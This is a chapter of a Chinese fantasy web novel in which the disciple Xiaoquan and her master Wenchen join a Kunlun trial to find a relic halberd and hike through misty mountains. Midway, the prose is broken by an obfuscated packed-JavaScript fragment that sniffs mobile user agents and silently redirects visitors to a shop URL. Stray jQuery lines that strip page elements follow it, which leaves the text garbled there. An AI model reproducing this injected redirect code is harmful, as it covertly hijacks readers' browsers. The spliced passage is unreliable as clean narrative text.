29. 询百里 见青山(贰)

作品:《慢着师父,我是你师尊!

    昆仑这一届发布的追风令,首要任务是在群山中找到仙器“铿锵戟”,然后在戟上注入自己的灵力或法力。武执笔会以第一个在铿锵戟留下灵法的子弟评“龙首”,也就是第一。


    此行不止有新师新徒,还有经过筛选试炼、成功获得这次“追风”资格的昆仑弟子,总共二十来位,给这次追风之行增添了一些难度。


    潇泉身骑白马和闻尘到达昆仑,按礼先入客居,茶饭过后,由仙子领至广场。场内三仙都在,武执笔端坐于主事位上清点到场人数,瞟见闻尘带着小徒弟,温和一笑,继续在名册上添笔墨。


    华烨真人对闻尘和潇泉点头招呼,闻尘颔首回敬,潇泉挥手礼还之。


    广场之上没有谁是等闲之辈,哪怕十岁左右的孩子在同龄人中也有令人称奇之能,不仅有以一敌十的威猛师父,自己也是绝才惊艳。可谓是小的惹不得,大的惹不起,修行数年百年的修士仙子更不用提。


    正因为清楚每个人的身份来历背景都不简单,所以彼此互尊互敬。没人敢看不起小孩,因此也没人用差别的眼光看待灵力无几的废人潇泉。


    潇泉漠不关心,来这儿就当踏青玩,踏仙什么的权当屁话,没被踏死就谢天谢地了。不过有闻尘在,她还真不用担心这般之多,躺平就行。


    追风之行还未开始,潇泉在闻尘的眼皮底下溜达来去,大致了解了这次追风之行的规则。


    追风令属于简易程度的行动,不少人都说华烨真人这次运气不错,抽到最轻松好玩的行令,而不是什么难到刁天的“雷雨令”“风云令”。


    雷雨令属多数人的噩梦,要在风云变幻的天气下斗战到底。一般是师徒双人成行,最多可召第三人辅助,队员可自行招募,目的是淘汰掉组员以外的所有对手,最后爬上雷峰巅取胜。


    好笑的是,并不是次次雷雨令都有王者胜出,多半中道崩殂而覆灭。每当这时,会有强盛的弟子嘲弄道:“这届百试大会不知筛选出来的是什么废物,区区一个雷雨令,竟无人夺胜。看来昆仑往后的仙途是要走下坡路了,啧啧。”


    经此一笑,雷雨令渐渐成为试探百试大会新生的潜规则。


    三年一会,没有人能站在山巅能勉强理解,可总不能六年都不出一个奇才吧?


    就算真的如此,那也不能十年二十年都不出一个天才,不然世道岂不是没救了?昆仑咋办?仙门咋办?世道咋办?


    “你大爷的爱咋办咋办,不办拉倒!”


    “不管怎么说,这次追风之行我势在必得,必将铿锵戟收入囊中。”


    “想得美了你。”有子弟伸出两指,“三大仙门,追风之行就来了两位。你看那边的百里君,再看另一边的金鹤君,我们像是能赢的样子?”


    “百里仙君带徒弟来追风之行我能理解,他第一次收徒,参与的是正常流程。可金鹤来掺和干什么?他不是收过一个徒弟还出师了吗?”


    “谁知道呢……”


    大金雀也来了?


    潇泉藏进人群,在武执笔附近看见一个明艳的黄霞身影。


    那名少年蹲在地上,毛茸茸的脑袋用金色发绳束着马尾,一动一摇,发尾轻扫地面,他无所觉察,似不在乎身上哪里沾了灰尘。


    宫榷刚好让武执笔添完名额,转头看到宫璃蔫了吧唧地在地上玩草,过去拎他衣领,“追风之行好好做,尽量拿到铿锵戟。这么多年也没拜个像样的师父,整日跟在别人师父后面跑,像个流浪孩一样。要是因此荒废术业,我看你怎么办。”


    宫璃被迫拉起身,瘪嘴道:“我才没有荒废,我跟在百里大人身边学会了很多。”


    宫榷眉目生疼,“他教你青泽术法了还是昆仑必修了?都没有。他不是你义务上的师父,无权教你这些。倒是你,三番两次不知死不悔改地巴巴贴上去,母亲还叫我务必看好你,出了问题拿我是问。我就问你,到底哪边孰轻孰重,外人还是亲人,你别告诉我拎不清。”


    宫璃瞪他,“家里又没人在,回去有什么好的?你整天忙于事务,又不能陪我,我一个人就像没人要的小孩整日在家坐着发呆,那还不如出门跟人厮混,总比在家待着强!”


    宫榷戳他脑门,“突破境界了?修成法力了?你要是尽心尽力去修行,哪有这么多空闲想这些没用的事情!”


    宫璃愤怒拍开他手,“我想的没用?那你做的都有用了?比起在朱雀门,我当然在青泽过得更潇洒快活,有人管吃管睡管玩,你管过我什么!”


    宫榷跟着来劲儿了,“我不管你?难道小时候给你穿衣喂饭的人是死了?嗯?你告诉我!”


    “那是很久很久以前的事了!”宫璃气息渐弱,“你也说了,那是小时候,我早就长大了。”


    正如少年所说,他早已变得和母亲一样整日来无影去无踪,没空搭理身边人,有时忙到一连几天都看不到影儿。


    宫榷静默片刻,“我很忙,实在没法陪你。”


    “这话你以前说过。”


    又是一阵沉默。


    阳光扑面,少年的愁眉怨眼落下两行清泪,一滴接着一滴滑至下巴,然后吧嗒掉在地上。宫璃侧过脸,不肯看他,抬手用袖角擦去泪痕。


    宫榷脸上的怒意消去三分,没有说话,缄默到宫璃以为他走了,才说:“如果这回你能拿到铿锵戟,以后你跟谁我不再多管,但活要见人,死要见尸。这是唯一条件。”


    宫璃猛一抬头,不敢相信,哑然顷刻才问:“母亲那边……你怎么说?”


    宫榷:“这是我和她之间的事,你不用管。”


    宫璃拍拍裙摆站起来,仍不敢确定,“那我尽力拿到铿锵戟。你说到做到吗?”


    宫榷挑眉,“不然?我怕到时你向我索命。”


    看到这么久以来的争执将近尾声,宫璃不想开心都难,由衷笑了两声:“你不许骗我,骗我是小狗。”


    兄弟俩的对话潇泉只观望到一半,她对别人的家私事不感兴趣,甭提站远看,近看也不怎么听得清楚。


    潇泉返回闻尘身边,刚坐上石凳,一只手拍了拍她肩膀。


    宫璃从后面探头,笑得纯真阳光,“你也来了?”


    她微笑点头,“是啊,不来不行。你看,小尘师父也在。你不去找他?”


    宫璃:“我先看见谁就先跟谁打招呼,等会儿再找百里大人。哎,我说,你没有灵力防身,别离百里大人太远,昆仑选地不一般的,不管简单困难,都会有牛鬼蛇神出没。虽然仙人能用觅镜窥视危险,但不一定能及时赶到,你走路可千万千万要小心。”


    这个潇泉倒没怎么了解,她问:“有危险的怪物?”


    宫璃摇头,“威胁性命的怪物基本被昆仑除光了,留下的都是小妖小怪。我们要歼灭完,收集它们的妖灵,越多越好。”


    空灵钟声响传四方,整个广场安静下来,紧接着一声“咣当”,假山石壁赫然浮现金灿灿的几行墨字。众人齐刷刷抬目,默阅追风之行的详事规则。


    潇泉看完之后捋了一遍,“所以我们不仅要找到铿锵戟,还要捉妖歼邪收集祟气,以此作为第二赢路,途中不能伤害任何精灵。假如误伤,那会如何?”


    宫璃解释:“姐姐不必担心,昆仑会有判定。不伤无罪无事,伤了有损有罚,轻重由伤数而定。”


    少年出身仙门世家,母亲兄长又是得道成仙的至尊者,对许多规则禁忌了如指掌。他能侃侃而谈,必然也是耳濡目染。


    在别人还没摸清规则之前,潇泉已在宫璃这儿知道近全。她问他来这儿是不是为了拿到铿锵戟,宫璃抿唇笑笑不语,准备去找百里大人,忽闻三声钟鸣。武执笔收好名册,宣说追风之行已经可以启程。宫璃不得已速回到兄长身边,与潇泉礼别,“等结束再聊。”


    潇泉:“行,等你。”


    追风之行始终共两个时辰,看似充足,实则不然。这片高山巍峨,连绵断壁不绝,修为体力不达者不可能在规定时间内徒步完,大有可能错过埋藏铿锵戟之地。


    潇泉没想过要拿铿锵戟,拿到它反而会招来无数眼睛,给原本特殊的身份增添神秘色彩,不如好好做个透明人,此行只当游山玩水。


    她同闻尘步入山路,随着人流从大路分至小路,越走碰见的人越少,最后只剩他们两个人。


    晨光有点刺眼,日头渐渐暖融,潇泉背上已出薄薄细汗,时而走时而停,歇久了还不忘观察闻尘有没有走远,还好每次抬头都能看见那抹背影。


    天气发热,潇泉忍不住跑到溪边用凉水拍打脸容和脖子驱散热气,打算坐在石头上歇凉一下身体再赶路。


    微风拂过,周身沁凉,舒心宁静。她仰头,一柄墨字白伞停在上空,持伞人手指修长,略带薄茧,一双深眼盛着水面莹光,如星辰大海,映着少女清丽的容颜。


    这张脸,和她一模一样。


    潇泉弄好额前被风吹乱的碎发,淡定移开视线,“百里师父确定要用千魂伞遮阳?这样会不会太奢侈了?”


    “不会。”闻尘把伞递给潇泉,两指敲敲手上针盘,继续往前。


    潇泉握伞跟上,瞟见闻尘手中针盘直指某方,便知不用再愁铿锵戟的方位。方位归方位,具体位置无法用灵器勘测出,他们还是得尽心去寻。


    这次追行,神通广大之人多如牛毛,昆仑定会压制铿锵戟的灵气,避免强者轻而易举寻之,不然追风之行还没开始就结束了,没有意义。所有仙君子弟都得一步一个脚印,更不能御剑飞行,此为犯规。


    闻尘看了一眼针盘,收好放回怀里,选择较为平坦的山路走。


    行至高处,视野豁然开朗,连绵起伏的高山直穿云霄,斜阳透过缥缈云海,掠过行行白毛大雁。


    美景固然养眼,但任务重要,他们还得接着下一座山爬。


    潇泉收伞坐在磐石上,“歇会儿吧,我有点累。”


    尽管千魂伞可以遮阳避暑,但自然得靠自己的双脚走完行程,谈不上容易。她不能像他们修行之人能够屏息静步快行,需要缓缓。


    潇泉弯腰坐着,捶完左腿捶右腿,回头不见闻尘踪影,眯眼怔住,没有焦急,边歇边等。


    山风再次拂面,紫影重现,闻尘站到潇泉面前,递出一个桃子,果皮密密流淌莹水,干净又水嫩。


    “这儿还有桃树?”潇泉有点惊喜,左右探看他身上还有没有多余,“只有这一个吗?”


    闻尘从袖中再拿出一个桃子给她。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192568|194969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >潇泉:“我吃一个就够了,问多余的只是怕你没得吃。”


    闻尘手掌一顿,收好桃子走到另一边,将背上银龙取下斜放在石头上,双手环胸倚石而立,目视前方的翠林远山。


    山中精灵无数,难免会碰到,当下亦然。潇泉咬了几口桃肉吐在地上,几只毛茸茸、类似地鼠的四脚精灵飞快窜出草丛,争先恐后抢夺果肉,塞进两瓣小嘴鼓囊囊嚼动,两边胡须更是颤抖不停。吃得如意,还睁着两只水灵灵的大眼发出哼唧吱吱声。


    这是山中最常见的精灵茸鼠。据仙史记载,曾有山神狂喜之,豢养百年,愣是将一个不入流的小精灵给抬成了祥瑞小兽之一。


    未经驯化的茸鼠惧怕生人,潇泉不动声色观望半日,看它们模样乖巧可爱,浑身暖和毛绒,忽然理解了这位山神。


    瓜分完桃肉,茸鼠们迅速跑回草丛,不再现身,唯有一只呆呆团在原地,恐吓也不跑。潇泉静观片晌,抓住它的后脖颈拎起来,尝试放到肩上。


    茸鼠先是不敢动弹,后来慢慢放开,吞吞爬到人的头顶,好奇地嗅。潇泉被它弄痒,笑着把它抓下来,却见它爪子一抹鲜红。


    出门在外没带药粉,潇泉先给小家伙用清水清理伤口,再撕下裙摆一角给它包扎,摸两下脑袋就放回去了。


    缓回一些体力,潇泉准备拿伞就走,刚好闻尘负剑走来。两人相视一眼,往山下走,去另一座山。


    山地绿草旺盛干净,又顺又滑,潇泉不敢松懈,小步小步试探下行。越往下行,旺草越多,她终是没能控住脚步,眼睁睁看着自己踩着一山坡的绿草滑行而下,一刻不停。


    她踩起碎步保持平衡,喊了一声前面的人,“闻尘!”


    不知何时,闻尘已停在前方坡路直直立着,听到呼唤,平静神情微有动容。


    再不急停就要滚下山坡,潇泉顺势滑向闻尘,张开双臂撞了上去,不可阻挡。


    她死都没想到,他们重逢后的初次拥抱会是以这种狼狈模样发生。当两两身体因为冲撞相合、不留一丝缝隙时,潇泉几乎忘记呼吸,庆幸自己终于控制脚步,又忐忑怎么向对方解释清楚她当真不是有意。


    胡思乱想间,她感受到若有似无的心跳和清晰温暖的体温,不知怎么就心如止水,脑海里只有一个想法:这是属于他的生命特征,有温度的生命特征。


    闻尘双手垂在身侧,没有抵触没有回抱,放任对方的双臂圈紧自己。


    潇泉立时缓神,松开双臂,后退两步。一颗晶莹剔透的玉石反光映入眼帘,定睛一看,竟是闻尘耳垂上的细小耳环,下面吊着一块极小的玉,精美至极,和先前见的那对不同,不过都一样好看。


    闻尘没作声,朝她伸手,手背向上,手心向下。


    这坡又高又陡,吹来的风容易扰乱脚步,潇泉不好推辞,搭上他手腕。


    扶持的手稳当结实,潇泉行路没再有倾倒之向,就着闻尘的牵引走到坡底,正想言谢,那手便已松开,比她还快。


    师徒之间言谢未免有点生疏,潇泉想了想,最终闭嘴。


    这一山比上一座更翠密幽深,深丛比人还高,有的地方被层层叠叠的树叶遮得阴暗无比,阳光难以照进。更令人倍感危险的,是百米之内望不透的阴湿白雾。


    闻尘甫一踏入,便道:“跟紧我。”


    潇泉自然也觉察山中异样,灵气固然存在,但也并存着其他杂乱气息,若是懈怠,很有可能陷入危机。


    回去是不可能回去了,这山是唯一前行通道,不想走也得走。


    潇泉轻扯闻尘袖角,压声:“百里师父,这里应该不会有不长眼睛的东西来冒犯我们吧?”


    这当然是废话。同道之人都不敢随意冒犯,小小精怪可不得绕道走?


    闻尘不语,唤出银龙断后。


    这次银龙没有动不动装死,在潇泉后面严肃护守。因为太过投入,忘记身边有人,调转剑头的时候险些伤到人。


    潇泉躲了两次,第三次时终没忍住,“百里师父你要不要跟它叮嘱两声?它差点伤我。要是我不小心掉了脑袋,你可就没有徒弟了。”


    银龙幽幽转身,肃然傲气的剑头一下变软,小心翼翼触碰潇泉两下,一副委屈姿态。


    潇泉差点笑出声。这不是她恶人先告状,而是的确好险,若非她身速快,怕是早被砍了。


    闻尘轻微弹指,一指灵光飞中银龙,银龙剑身瞬间多了一层薄薄的淡黄色光罩,仿佛一戳就破。


    作为阅历无数的返老还童老人,潇泉自然认得这是剑身护气,是剑主为保剑身不被摧毁或是保护身边人不受剑体误伤所做的举措。


    银龙没有松懈,一边观察四周一边护在最后。


    一个初出茅庐的剑灵不会化形也不会说话,只凭意念与主人交流,偶尔冒失,怎么看都不像一位登峰造极的仙君的佩剑。


    佩剑一般跟随主人,潇泉有点想不明白为何银龙会变成这副好笑又严谨的模样,不应该是清冷孤傲的吗?


    潇泉大脑兀自浮现某个少年的爽朗笑声:“嘿嘿,还能是怎样?银龙是我好朋友,我俩从小相伴,它当然随我啦!”


    她一时无语,笑了又笑,心道真是一对“狐朋狗友”。